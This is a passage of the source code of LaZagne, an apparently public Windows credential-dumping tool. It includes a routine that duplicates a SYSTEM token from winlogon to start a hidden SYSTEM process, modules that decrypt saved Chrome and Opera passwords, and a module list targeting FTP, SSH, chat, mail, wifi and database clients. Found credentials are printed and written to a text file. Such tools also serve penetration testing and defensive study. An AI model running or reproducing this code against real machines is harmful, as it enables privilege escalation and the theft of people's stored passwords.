50 | _fields_ = [ 51 | ("User", SID_AND_ATTRIBUTES),] 52 | 53 | class LUID_AND_ATTRIBUTES(Structure): 54 | _fields_ = [ 55 | ("Luid", LUID), 56 | ("Attributes", DWORD), 57 | ] 58 | 59 | class TOKEN_PRIVILEGES(Structure): 60 | _fields_ = [ 61 | ("PrivilegeCount", DWORD), 62 | ("Privileges", LUID_AND_ATTRIBUTES), 63 | ] 64 | 65 | class PROCESS_INFORMATION(Structure): 66 | _fields_ = [ 67 | ('hProcess', HANDLE), 68 | ('hThread', HANDLE), 69 | ('dwProcessId', DWORD), 70 | ('dwThreadId', DWORD), 71 | ] 72 | 73 | class STARTUPINFO(Structure): 74 | _fields_ = [ 75 | ('cb', DWORD), 76 | ('lpReserved', LPSTR), 77 | ('lpDesktop', LPSTR), 78 | ('lpTitle', LPSTR), 79 | ('dwX', DWORD), 80 | ('dwY', DWORD), 81 | ('dwXSize', DWORD), 82 | ('dwYSize', DWORD), 83 | ('dwXCountChars', DWORD), 84 | ('dwYCountChars', DWORD), 85 | ('dwFillAttribute', DWORD), 86 | ('dwFlags', DWORD), 87 | ('wShowWindow', WORD), 88 | ('cbReserved2', WORD), 89 | ('lpReserved2', LPVOID), # LPBYTE 90 | ('hStdInput', HANDLE), 91 | ('hStdOutput', HANDLE), 92 | ('hStdError', HANDLE), 93 | ] 94 | 95 | def GetUserName(): 96 | nSize = DWORD(0) 97 | windll.advapi32.GetUserNameA(None, byref(nSize)) 98 | error = GetLastError() 99 | 100 | ERROR_INSUFFICIENT_BUFFER = 122 101 | if error != ERROR_INSUFFICIENT_BUFFER: 102 | raise WinError(error) 103 | 104 | lpBuffer = create_string_buffer('', nSize.value + 1) 105 | 106 | success = windll.advapi32.GetUserNameA(lpBuffer, byref(nSize)) 107 | if not success: 108 | raise WinError() 109 | return lpBuffer.value 110 | 111 | def GetTokenSid(hToken): 112 | """Retrieve SID from Token""" 113 | dwSize = DWORD(0) 114 | pStringSid = LPSTR() 115 | TokenUser = 1 116 | windll.advapi32.GetTokenInformation(hToken, TokenUser, byref(TOKEN_USER()), 0, byref(dwSize)) 117 | address = windll.kernel32.LocalAlloc(0x0040, dwSize) 118 | windll.advapi32.GetTokenInformation(hToken, TokenUser, address, dwSize, byref(dwSize)) 119 | pToken_User = cast(address, POINTER(TOKEN_USER)) 120 | windll.advapi32.ConvertSidToStringSidA(pToken_User.contents.User.Sid, byref(pStringSid)) 121 | sid = pStringSid.value 122 | windll.kernel32.LocalFree(address) 123 | return sid 124 | 125 | def EnablePrivilege(privilegeStr, hToken = None): 126 | """Enable Privilege on token, if no token is given the function gets the token of the current process.""" 127 | if hToken == None: 128 | TOKEN_ADJUST_PRIVILEGES = 0x00000020 129 | TOKEN_QUERY = 0x0008 130 | hToken = HANDLE(INVALID_HANDLE_VALUE) 131 | windll.advapi32.OpenProcessToken( windll.kernel32.GetCurrentProcess(), (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), byref(hToken) ) 132 | 133 | privilege_id = LUID() 134 | windll.advapi32.LookupPrivilegeValueA(None, privilegeStr, byref(privilege_id)) 135 | 136 | SE_PRIVILEGE_ENABLED = 0x00000002 137 | laa = LUID_AND_ATTRIBUTES(privilege_id, SE_PRIVILEGE_ENABLED) 138 | tp = TOKEN_PRIVILEGES(1, laa) 139 | 140 | windll.advapi32.AdjustTokenPrivileges(hToken, False, byref(tp), sizeof(tp), None, None) 141 | 142 | def procids(): 143 | """A list of every pid, sorted but first pids is winlogon.exe""" 144 | 145 | count = 32 146 | while True: 147 | ProcessIds = ( DWORD * count)() 148 | cb = sizeof( ProcessIds ) 149 | BytesReturned = DWORD() 150 | if windll.psapi.EnumProcesses( byref(ProcessIds), cb, byref(BytesReturned)): 151 | if BytesReturned.value < cb: 152 | break 153 | else: 154 | count *= 2 155 | 156 | for index in range(BytesReturned.value / sizeof( DWORD ) ): 157 | ProcessId = ProcessIds[index] 158 | hProcess = windll.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, ProcessId) 159 | if hProcess: 160 | ImageFileName = ( c_char * 260 )() 161 | if windll.psapi.GetProcessImageFileNameA(hProcess, ImageFileName, 260) > 0: 162 | filename = os.path.basename(ImageFileName.value) 163 | if filename == "winlogon.exe": 164 | winlogon_pid = ProcessIds[index] 165 | windll.kernel32.CloseHandle(hProcess) 166 | 167 | pids = [ ProcessIds[index] for index in range( BytesReturned.value / sizeof(DWORD)) ] 168 | pids.remove(winlogon_pid) 169 | 170 | return [ winlogon_pid ] + pids 171 | 172 | def GetLocalSystemProcessToken(): 173 | """Takes a list of pids and checks if the process has a token with SYSTEM user, if so it returns the token handle.""" 174 | pids = procids() 175 | 176 | for pid in pids: 177 | try: 178 | hProcess = windll.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid) 179 | 180 | hToken = HANDLE(INVALID_HANDLE_VALUE) 181 | windll.advapi32.OpenProcessToken(hProcess, tokenprivs, byref(hToken)) 182 | 183 | ##If token SID is the SID of SYSTEM, return the token handle. 184 | if GetTokenSid( hToken ) == "S-1-5-18": 185 | windll.kernel32.CloseHandle(hProcess) 186 | return hToken 187 | 188 | windll.kernel32.CloseHandle(hToken) 189 | windll.kernel32.CloseHandle(hProcess) 190 | 191 | except WindowsError, e : 192 | pass 193 | 194 | def get_system_priv(): 195 | current_filepath = sys.argv[0] 196 | 197 | ##Enable SE_DEBUG_NAME(debugprivileges) on the current process. 198 | EnablePrivilege("SeDebugPrivilege") 199 | 200 | ##Get a SYSTEM user token. 201 | hToken = GetLocalSystemProcessToken() 202 | 203 | ##Duplicate it to a Primary Token, so it can be passed to CreateProcess. 204 | hTokendupe = HANDLE( INVALID_HANDLE_VALUE ) 205 | 206 | SecurityImpersonation = 2 207 | TokenPrimary = 1 208 | windll.advapi32.DuplicateTokenEx( hToken, TOKEN_ALL_ACCESS, None, SecurityImpersonation, TokenPrimary, byref( hTokendupe ) ) 209 | 210 | ##Now we have duplicated the token, we can close the orginal. 211 | windll.kernel32.CloseHandle(hToken) 212 | 213 | ##Enable SE_ASSIGNPRIMARYTOKEN_NAME and SE_INCREASE_QUOTA_NAME, these are both needed to start a process with a token. 214 | EnablePrivilege( "SeAssignPrimaryTokenPrivilege", hToken = hTokendupe ) 215 | EnablePrivilege( "SeIncreaseQuotaPrivilege", hToken = hTokendupe ) 216 | 217 | ##Enable SE_IMPERSONATE_NAME, so that we can impersonate the SYSTEM token. 218 | EnablePrivilege("SeImpersonatePrivilege") 219 | 220 | windll.advapi32.ImpersonateLoggedOnUser( hTokendupe ) 221 | 222 | ##Start the process with the token. 223 | try: 224 | # Starting shell as SYSTEM 225 | lpProcessInformation = PROCESS_INFORMATION() 226 | lpStartupInfo = STARTUPINFO() 227 | CREATE_NEW_CONSOLE = 0x00000010 228 | CREATE_NO_WINDOW = 0x08000000 229 | 230 | windll.advapi32.CreateProcessAsUserA(hTokendupe, r"%s" % current_filepath, " wifi --HiddenWifiArgs" , None, None, True, CREATE_NO_WINDOW, None, None, byref(lpStartupInfo), byref(lpProcessInformation)) 231 | except WindowsError, e : 232 | pass 233 | 234 | ##Clean up, revert back to self and close the handles 235 | windll.advapi32.RevertToSelf() 236 | windll.kernel32.CloseHandle(hTokendupe) 237 | 238 | 239 | 240 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/config/header.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from colorama import init, Fore, Back, Style 3 | 4 | class Header(): 5 | def __init__(self): 6 | init() # for colorama 7 | 8 | def first_title(self): 9 | init() 10 | print Style.BRIGHT + Fore.WHITE 11 | print '|====================================================================|' 12 | print '| |' 13 | print '| The LaZagne Project |' 14 | print '| |' 15 | print '| ! BANG BANG ! |' 16 | print '| |' 17 | print '|====================================================================|' 18 | print Style.RESET_ALL 19 | 20 | # info option for the logging 21 | def title(self, title): 22 | print Style.BRIGHT + Fore.WHITE + '------------------- ' + title + ' passwords -----------------\n' + Style.RESET_ALL 23 | 24 | # Subtitle 25 | def title1(self, title1): 26 | print Style.BRIGHT + Fore.WHITE + '[*] ' + title1 + '\n' + Style.RESET_ALL 27 | 28 | # debug option for the logging 29 | def title_info(self, title): 30 | logging.info(Style.BRIGHT + Fore.WHITE + '------------------- ' + title + ' passwords -----------------\n' + Style.RESET_ALL) 31 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/config/manageModules.py: -------------------------------------------------------------------------------- 1 | # browsers 2 | from softwares.browsers.mozilla import Mozilla 3 | from softwares.browsers.chrome import Chrome 4 | from softwares.browsers.opera import Opera 5 | from softwares.browsers.ie import IE 6 | # windows 7 | from softwares.windows.network import Network 8 | from softwares.windows.dot_net import Dot_net 9 | from softwares.windows.secrets import Secrets 10 | # sysadmin 11 | from softwares.sysadmin.filezilla import Filezilla 12 | from softwares.sysadmin.cyberduck import Cyberduck 13 | from softwares.sysadmin.puttycm import Puttycm 14 | from softwares.sysadmin.winscp import WinSCP 15 | from softwares.sysadmin.coreftp import CoreFTP 16 | from softwares.sysadmin.ftpnavigator import FtpNavigator 17 | # svn 18 | from softwares.svn.tortoise import Tortoise 19 | # chats 20 | from softwares.chats.skype import Skype 21 | from softwares.chats.pidgin import Pidgin 22 | from softwares.chats.jitsi import Jitsi 23 | # wifi 24 | from softwares.wifi.wifi import Wifi 25 | from softwares.wifi.wifipass import WifiPass 26 | # mails 27 | from softwares.mails.outlook import Outlook 28 | # databases 29 | from softwares.databases.sqldeveloper import SQLDeveloper 30 | from softwares.databases.squirrel import Squirrel 31 | from softwares.databases.dbvis import Dbvisualizer 32 | 33 | def get_categories(): 34 | category = { 35 | 'chats': {'help': 'Chat clients supported'}, 36 | 'sysadmin': {'help': 'SCP/SSH/FTP/FTPS clients supported'}, 37 | 'database': {'help': 'SQL clients supported'}, 38 | 'svn': {'help': 'SVN clients supported'}, 39 | 'mails': {'help': 'Email clients supported'}, 40 | 'wifi': {'help': 'Wifi'}, 41 | 'browsers': {'help': 'Web browsers supported'}, 42 | 'windows': {'help': 'Windows credentials (credential manager, etc.)'} 43 | } 44 | return category 45 | 46 | def get_modules(): 47 | moduleNames = [ 48 | Dbvisualizer(), 49 | Dot_net(), 50 | Chrome(), 51 | CoreFTP(), 52 | Cyberduck(), 53 | Filezilla(), 54 | FtpNavigator(), 55 | IE(), 56 | Jitsi(), 57 | Mozilla(), 58 | Network(), 59 | Opera(), 60 | Outlook(), 61 | Pidgin(), 62 | Puttycm(), 63 | Tortoise(), 64 | Secrets(), 65 | Skype(), 66 | SQLDeveloper(), 67 | Squirrel(), 68 | Wifi(), 69 | WifiPass(), 70 | WinSCP() 71 | ] 72 | return moduleNames 73 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/config/moduleInfo.py: -------------------------------------------------------------------------------- 1 | # name => Name of a class 2 | # category => windows / browsers / etc 3 | # options => dictionary 4 | # - command 5 | # - action 6 | # - dest 7 | # - help 8 | # ex: ('-s', action='store_true', dest='skype', help='skype') 9 | # options['command'] = '-s' 10 | # options['action'] = 'store_true' 11 | # options['dest'] = 'skype' 12 | # options['help'] = 'skype' 13 | 14 | class ModuleInfo(): 15 | def __init__(self, name, category, options, suboptions = []): 16 | self.name = name 17 | self.category = category 18 | self.options = options 19 | self.suboptions = suboptions 20 | 21 | def name(self): 22 | return self.name 23 | 24 | def category(self): 25 | return self.category 26 | 27 | def options(self): 28 | return self.options 29 | 30 | def suboptions(self): 31 | return self.suboptions 32 | 33 | 34 | 35 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/config/write_output.py: -------------------------------------------------------------------------------- 1 | from constant import constant from time import gmtime, strftime import os, getpass, socket import logging from config.header import Header from colorama import init, Fore, Back, Style init() # init the colorama function # --------------------------- Functions used to write --------------------------- def write_header(): time = strftime("%Y-%m-%d %H:%M:%S", gmtime()) header = '''|====================================================================|\r\n | |\r\n | Credentsials discovery |\r\n | |\r\n | ! BANG BANG ! |\r\n | |\r\n |====================================================================|\r\n\r\n - Date: ''' + time + '''\n\r - Username: ''' + getpass.getuser() + ''' \r\n - Hostname: ''' + socket.gethostname() + ''' \r\n\r\n ------------------------------ Results ------------------------------\r\n\r\n''' open(constant.folder_name + os.sep + 'credentials.txt',"a+b").write(header) def write_footer(): footer = '\n[+] %s passwords have been found.\r\n\r\n' % str(constant.nbPasswordFound) open(constant.folder_name + os.sep + 'credentials.txt',"a+b").write(footer) def write_credentials(pwdFound, category): tmp = "############ %s passwords ############\r\n\r\n" % category for pwd in pwdFound: for p in pwd.keys(): tmp = str(tmp) + str(p) + ": " + str(pwd[p]) + "\r\n" tmp = str(tmp) + "\r\n" open(constant.folder_name + os.sep + 'credentials.txt',"a+b").write(tmp) def checks_write(values, category): if values: if constant.output == 'txt': try: write_credentials(values, category) logging.info('[+] Credentials stored successfully on the file: %s\\credentials.txt\n' % constant.folder_name) except: logging.info('Couldn\'t write the results file\n') # --------------------------- End of functions used to write --------------------------- # --------------------------- Output functions --------------------------- def print_footer(): footer = '\n[+] %s passwords have been found.\n' % str(constant.nbPasswordFound) if logging.getLogger().isEnabledFor(logging.INFO) == False: footer += 'For more information launch it again with the -v option\n' print footer # print output if passwords have been found def print_output(software_name, pwdFound, title1 = False): if pwdFound: # if the debug logging level is not apply => print the title if logging.getLogger().isEnabledFor(logging.INFO) == False: if not title1: Header().title(software_name) toWrite = [] password_category = False for pwd in pwdFound: # detect which kinds of password has been found lower_list = [s.lower() for s in pwd.keys()] password = [s for s in lower_list if "password" in s] if password: password_category = password else: key = [s for s in lower_list if "key" in s] # for the wifi if key: password_category = key else: hash = [s for s in lower_list if "hash" in s] if hash: password_category = hash # No password found if not password_category: print_debug("FAILED", "Password not found !!!") else: print_debug("OK", '%s found !!!' % password_category[0].title()) toWrite.append(pwd) # Store all passwords found on a table => for dictionary attack if master password set constant.nbPasswordFound += 1 try: constant.passwordFound.append(pwd[password_category[0]]) except: pass for p in pwd.keys(): print '%s: %s' % (p, pwd[p]) print # write credentials into a text file checks_write(toWrite, software_name) else: logging.info("[!] No passwords found\n") def print_debug(error_level, message): # print when password is found if error_level == 'OK': print Fore.GREEN + message + Style.RESET_ALL # print when password is not found elif error_level == 'FAILED': print Style.BRIGHT + Fore.RED + message + Style.RESET_ALL # print messages depending of their criticism elif error_level == 'CRITICAL': logging.critical(Style.BRIGHT + Fore.RED + '[CRITICAL] %s\n' % message + Style.RESET_ALL) elif error_level == 'ERROR': logging.error(Style.BRIGHT + Fore.RED + '[ERROR] %s\n' % message + Style.RESET_ALL) elif error_level == 'WARNING': logging.warning(Fore.CYAN + '[WARNING] %s\n' % message + Style.RESET_ALL) elif error_level == 'DEBUG': logging.debug('[DEBUG] %s\n' % message) elif error_level == 'INFO': logging.info('%s\n' % message) else: logging.info('[%s] %s' % (error_level, message)) # --------------------------- End of output functions --------------------------- -------------------------------------------------------------------------------- /Windows/src/LaZagne/laZagne.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | ############################################################################## 4 | # # 5 | # By Alessandro ZANNI # 6 | # # 7 | ############################################################################## 8 | 9 | # Disclaimer: Do Not Use this program for illegal purposes ;) 10 | 11 | import argparse 12 | import time, sys, os 13 | import logging 14 | from softwares.browsers.mozilla import Mozilla 15 | 16 | # Configuration 17 | from config.header import Header 18 | from config.write_output import write_header, write_footer, print_footer 19 | from config.constant import * 20 | from config.manageModules import get_categories, get_modules 21 | 22 | # Print the title 23 | Header().first_title() 24 | 25 | category = get_categories() 26 | moduleNames = get_modules() 27 | 28 | # Define a dictionary for all modules 29 | modules = {} 30 | for categoryName in category: 31 | modules[categoryName] = {} 32 | 33 | # Add all modules to the dictionary 34 | for module in moduleNames: 35 | modules[module.category][module.options['dest']] = module 36 | modules['mails']['thunderbird'] = Mozilla(True) # For thunderbird (firefox and thunderbird use the same class) 37 | 38 | def output(): 39 | if args['write'] == True: 40 | constant.output = 'txt' 41 | if not os.path.exists(constant.folder_name): 42 | os.makedirs(constant.folder_name) 43 | write_header() 44 | del args['write'] 45 | 46 | def verbosity(): 47 | # write on the console + debug file 48 | if args['verbose']==0: level=logging.CRITICAL 49 | elif args['verbose'] == 1: level=logging.INFO 50 | elif args['verbose']>=2: level=logging.DEBUG 51 | 52 | FORMAT = "%(message)s" 53 | formatter = logging.Formatter(fmt=FORMAT) 54 | stream = logging.StreamHandler() 55 | stream.setFormatter(formatter) 56 | root = logging.getLogger() 57 | root.setLevel(level) 58 | # If other logging are set 59 | for r in root.handlers: 60 | r.setLevel(logging.CRITICAL) 61 | root.addHandler(stream) 62 | del args['verbose'] 63 | 64 | def launch_module(b): 65 | ok = False 66 | # Launch only a specific module 67 | for i in args: 68 | if args[i] and i in b: 69 | b[i].run() 70 | ok = True 71 | 72 | # Launch all modules 73 | if not ok: 74 | for i in b: 75 | b[i].run() 76 | 77 | def manage_advanced_options(): 78 | if 'manually' in args: 79 | constant.manually = args['manually'] 80 | if 'path' in args: 81 | constant.path = args['path'] 82 | if 'bruteforce' in args: 83 | constant.bruteforce = args['bruteforce'] 84 | if 'defaultpass' in args: 85 | constant.defaultpass = args['defaultpass'] 86 | if 'specific_path' in args: 87 | constant.specific_path = args['specific_path'] 88 | if 'mails' in args['auditType']: 89 | constant.mozilla_software = 'Thunderbird' 90 | elif 'browsers' in args['auditType']: 91 | constant.mozilla_software = 'Firefox' 92 | if 'master_pwd' in args: 93 | constant.jitsi_masterpass = args['master_pwd'] 94 | if 'historic' in args: 95 | constant.ie_historic = args['historic'] 96 | 97 | # Run only one module 98 | def runModule(): 99 | manage_advanced_options() 100 | launch_module(modules[args['auditType']]) 101 | 102 | # Run all 103 | def runAllModules(): 104 | manage_advanced_options() 105 | for categoryName in category: 106 | if categoryName == 'browsers': 107 | constant.mozilla_software = 'Firefox' 108 | elif categoryName == 'mails': 109 | constant.mozilla_software = 'Thunderbird' 110 | launch_module(modules[categoryName]) 111 | 112 | # Prompt help if an error occurs 113 | class MyParser(argparse.ArgumentParser): 114 | def error(self, message): 115 | sys.stderr.write('error: %s\n\n' % message) 116 | self.print_help() 117 | sys.exit(2) 118 | 119 | parser = MyParser() 120 | 121 | # ------------------------------------------- Permanent options ------------------------------------------- 122 | # Version and verbosity 123 | PPoptional = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION)) 124 | PPoptional._optionals.title = 'optional arguments' 125 | PPoptional.add_argument('-v', dest='verbose', action='count', default=0, help='increase verbosity level') 126 | PPoptional.add_argument('--version', action='version', version='Version ' + str(constant.CURRENT_VERSION), help='laZagne version') 127 | 128 | # Output 129 | PWrite = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION)) 130 | PWrite._optionals.title = 'output' 131 | PWrite.add_argument('-w', dest='write', action= 'store_true', help = 'write a text file on the current directory') 132 | 133 | # ------------------------------------------- Add options and suboptions to all modules ------------------------------------------- 134 | all_subparser = [] 135 | for c in category: 136 | category[c]['parser'] = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION)) 137 | category[c]['parser']._optionals.title = category[c]['help'] 138 | 139 | # Manage options 140 | category[c]['subparser'] = [] 141 | for module in modules[c].keys(): 142 | m = modules[c][module] 143 | category[c]['parser'].add_argument(m.options['command'], action=m.options['action'], dest=m.options['dest'], help=m.options['help']) 144 | 145 | # Manage all suboptions by modules 146 | if m.suboptions and m.name != 'thunderbird': 147 | tmp = [] 148 | for sub in m.suboptions: 149 | tmp_subparser = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION)) 150 | tmp_subparser._optionals.title = sub['title'] 151 | if 'type' in sub: 152 | tmp_subparser.add_argument(sub['command'], type=sub['type'], action=sub['action'], dest=sub['dest'], help=sub['help']) 153 | else: 154 | tmp_subparser.add_argument(sub['command'], action=sub['action'], dest=sub['dest'], help=sub['help']) 155 | tmp.append(tmp_subparser) 156 | all_subparser.append(tmp_subparser) 157 | category[c]['subparser'] += tmp 158 | 159 | # ------------------------------------------- Print all ------------------------------------------- 160 | parents = [PPoptional] + all_subparser + [PWrite] 161 | dic = {'all':{'parents':parents, 'help':'Run all modules', 'func': runAllModules}} 162 | for c in category: 163 | parser_tab = [PPoptional, category[c]['parser']] 164 | if 'subparser' in category[c]: 165 | if category[c]['subparser']: 166 | parser_tab += category[c]['subparser'] 167 | parser_tab += [PWrite] 168 | dic_tmp = {c: {'parents': parser_tab, 'help':'Run %s module' % c, 'func': runModule}} 169 | dic = dict(dic.items() + dic_tmp.items()) 170 | 171 | #2- Main commands 172 | subparsers = parser.add_subparsers(help='Choose a main command') 173 | for d in dic: 174 | subparsers.add_parser(d,parents=dic[d]['parents'],help=dic[d]['help']).set_defaults(func=dic[d]['func'],auditType=d) 175 | 176 | # ------------------------------------------- Parse arguments ------------------------------------------- 177 | args = dict(parser.parse_args()._get_kwargs()) 178 | arguments = parser.parse_args() 179 | start_time = time.time() 180 | output() 181 | verbosity() 182 | arguments.func() 183 | 184 | # Print the number of passwords found 185 | if constant.output == 'txt': 186 | write_footer() 187 | print_footer() 188 | 189 | elapsed_time = time.time() - start_time 190 | print 'elapsed time = ' + str(elapsed_time) 191 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/LaZagne/softwares/__init__.py -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/browsers/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/LaZagne/softwares/browsers/__init__.py -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/browsers/chrome.py: -------------------------------------------------------------------------------- 1 | import sqlite3 2 | import win32crypt 3 | import sys, os, platform 4 | from config.constant import * 5 | from config.write_output import print_output, print_debug 6 | from config.header import Header 7 | from config.moduleInfo import ModuleInfo 8 | 9 | class Chrome(ModuleInfo): 10 | def __init__(self): 11 | options = {'command': '-c', 'action': 'store_true', 'dest': 'chrome', 'help': 'chrome'} 12 | ModuleInfo.__init__(self, 'chrome', 'browsers', options) 13 | 14 | # main function 15 | def run(self): 16 | # print title 17 | Header().title_info('Chrome') 18 | 19 | database_path = '' 20 | if 'HOMEDRIVE' in os.environ and 'HOMEPATH' in os.environ: 21 | # For Win7 22 | path_Win7 = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data' 23 | 24 | # For XP 25 | path_XP = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Local\Google\Chrome\User Data\Default\Login Data' 26 | 27 | if os.path.exists(path_XP): 28 | database_path = path_XP 29 | 30 | elif os.path.exists(path_Win7): 31 | database_path = path_Win7 32 | 33 | else: 34 | print_debug('INFO', 'Google Chrome not installed.') 35 | return 36 | else: 37 | print_debug('ERROR', 'Environment variables (HOMEDRIVE or HOMEPATH) have not been found') 38 | return 39 | 40 | # Connect to the Database 41 | try: 42 | conn = sqlite3.connect(database_path) 43 | cursor = conn.cursor() 44 | except Exception,e: 45 | print_debug('DEBUG', '{0}'.format(e)) 46 | print_debug('ERROR', 'An error occured opening the database file') 47 | return 48 | 49 | # Get the results 50 | try: 51 | cursor.execute('SELECT action_url, username_value, password_value FROM logins') 52 | except: 53 | print_debug('ERROR', 'Google Chrome seems to be used, the database is locked. Kill the process and try again !') 54 | return 55 | 56 | pwdFound = [] 57 | for result in cursor.fetchall(): 58 | values = {} 59 | 60 | try: 61 | # Decrypt the Password 62 | password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1] 63 | except Exception,e: 64 | password = '' 65 | print_debug('DEBUG', '{0}'.format(e)) 66 | 67 | if password: 68 | values['Site'] = result[0] 69 | values['Username'] = result[1] 70 | values['Password'] = password 71 | pwdFound.append(values) 72 | 73 | # print the results 74 | print_output("Chrome", pwdFound) 75 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/browsers/opera.py: -------------------------------------------------------------------------------- 1 | import sys, struct, hashlib, binascii, re, os 2 | from Crypto.Cipher import DES3 3 | from ConfigParser import RawConfigParser 4 | import sqlite3, win32crypt 5 | from config.constant import * 6 | from config.write_output import print_output, print_debug 7 | from config.header import Header 8 | from config.moduleInfo import ModuleInfo 9 | 10 | CIPHERED_FILE = '' 11 | 12 | class Opera(ModuleInfo): 13 | def __init__(self): 14 | options = {'command': '-o', 'action': 'store_true', 'dest': 'opera', 'help': 'opera'} 15 | ModuleInfo.__init__(self, 'opera', 'browsers', options) 16 | 17 | def run(self): 18 | # print title 19 | Header().title_info('Opera') 20 | 21 | # retrieve opera folder 22 | path = self.get_path() 23 | 24 | if path == 'env_variable_error': 25 | print_debug('ERROR', 'The APPDATA environment variable is not defined.') 26 | return 27 | elif not path: 28 | print_debug('INFO', 'Opera is not installed.') 29 | return 30 | 31 | passwords = '' 32 | # old versions 33 | if CIPHERED_FILE == 'wand.dat': 34 | # check the use of master password 35 | if not os.path.exists(path + os.sep + 'operaprefs.ini'): 36 | print_debug('WARNING', 'The preference file operaprefs.ini has not been found.') 37 | return 38 | else: 39 | 40 | if self.masterPasswordUsed(path) == '1': 41 | print_debug('WARNING', 'A master password is used.') 42 | elif self.masterPasswordUsed(path) != '0': 43 | print_debug('ERROR', 'An error occurs, the use of master password is not sure.') 44 | 45 | passwords = self.decipher_old_version(path) 46 | if passwords: 47 | self.parse_results(passwords) 48 | else: 49 | print_debug('INFO', 'The wand.dat seems to be empty') 50 | # new versions 51 | else: 52 | passwords = self.decipher_new_version(path) 53 | 54 | def get_path(self): 55 | global CIPHERED_FILE 56 | if 'APPDATA' in os.environ: 57 | # version less than 10 58 | if os.path.exists(os.environ['APPDATA'] + '\Opera\Opera\profile'): 59 | CIPHERED_FILE = 'wand.dat' 60 | return os.environ['APPDATA'] + '\Opera\Opera\profile' 61 | 62 | # version more than 10 63 | if os.path.exists(os.environ['APPDATA'] + '\Opera\Opera'): 64 | CIPHERED_FILE = 'wand.dat' 65 | return os.environ['APPDATA'] + '\Opera\Opera' 66 | 67 | # new versions 68 | elif os.path.exists(os.environ['APPDATA'] + '\Opera Software\Opera Stable'): 69 | CIPHERED_FILE = 'Login Data' 70 | return os.environ['APPDATA'] + '\Opera Software\Opera Stable' 71 | 72 | else: 73 | return None 74 | else: 75 | return 'env_variable_error' 76 | 77 | def decipher_old_version(self, path): 78 | salt = '837DFC0F8EB3E86973AFFF' 79 | 80 | # retrieve wand.dat file 81 | if not os.path.exists(path + os.sep + 'wand.dat'): 82 | print_debug('WARNING', 'wand.dat file has not been found.') 83 | return 84 | 85 | # read wand.dat 86 | f = open(path + os.sep + 'wand.dat', 'rb') 87 | file = f.read() 88 | fileSize = len(file) 89 | 90 | passwords = [] 91 | offset = 0 92 | while offset < fileSize: 93 | 94 | offset = file.find('\x08', offset) + 1 95 | if offset == 0: 96 | break 97 | 98 | tmp_blockLength = offset - 8 99 | tmp_datalen = offset + 8 100 | 101 | blockLength = struct.unpack('!i', file[tmp_blockLength : tmp_blockLength + 4])[0] 102 | datalen = struct.unpack('!i', file[tmp_datalen : tmp_datalen + 4])[0] 103 | 104 | binary_salt = binascii.unhexlify(salt) 105 | desKey = file[offset: offset + 8] 106 | tmp = binary_salt + desKey 107 | 108 | md5hash1 = hashlib.md5(tmp).digest() 109 | md5hash2 = hashlib.md5(md5hash1 + tmp).digest() 110 | 111 | key = md5hash1 + md5hash2[0:8] 112 | iv = md5hash2[8:] 113 | 114 | data = file[offset + 8 + 4: offset + 8 + 4 + datalen] 115 | 116 | des3dec = DES3.new(key, DES3.MODE_CBC, iv) 117 | plaintext = des3dec.decrypt(data) 118 | 119 | plaintext = re.sub(r'[^\x20-\x7e]', '', plaintext) 120 | passwords.append(plaintext) 121 | 122 | offset += 8 + 4 + datalen 123 | return passwords 124 | 125 | def decipher_new_version(self, path): 126 | database_path = path + os.sep + 'Login Data' 127 | if os.path.exists(database_path): 128 | 129 | # Connect to the Database 130 | conn = sqlite3.connect(database_path) 131 | cursor = conn.cursor() 132 | 133 | # Get the results 134 | try: 135 | cursor.execute('SELECT action_url, username_value, password_value FROM logins') 136 | except Exception,e: 137 | print_debug('DEBUG', '{0}'.format(e)) 138 | print_debug('ERROR', 'Opera seems to be used, the database is locked. Kill the process and try again !') 139 | return 140 | 141 | pwdFound = [] 142 | for result in cursor.fetchall(): 143 | values = {} 144 | 145 | # Decrypt the Password 146 | password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1] 147 | if password: 148 | values['Site'] = result[0] 149 | values['Username'] = result[1] 150 | values['Password'] = password 151 | pwdFound.append(values) 152 | 153 | # print the results 154 | print_output("Opera", pwdFound) 155 | else: 156 | print_debug('No passwords stored\nThe database Login Data is not present.') 157 | 158 | def masterPasswordUsed(self, path): 159 | 160 | # the init file is not well defined so lines have to be removed before to parse it 161 | cp = RawConfigParser() 162 | f = open(path + os.sep + 'operaprefs.ini', 'rb') 163 | 164 | f.readline() # discard first line 165 | while 1: 166 | try: 167 | cp.readfp(f) 168 | break 169 | except Exception,e: 170 | print_debug('DEBUG', '{0}'.format(e)) 171 | f.readline() # discard first line 172 | try: 173 | master_pass = cp.get('Security Prefs','Use Paranoid Mailpassword') 174 | return master_pass 175 | except Exception,e: 176 | print_debug('DEBUG', '{0}'.format(e)) 177 | return False 178 | 179 | 180 | def parse_results(self, passwords): 181 | 182 | cpt = 0 183 | values = {} 184 | pwdFound = [] 185 | for 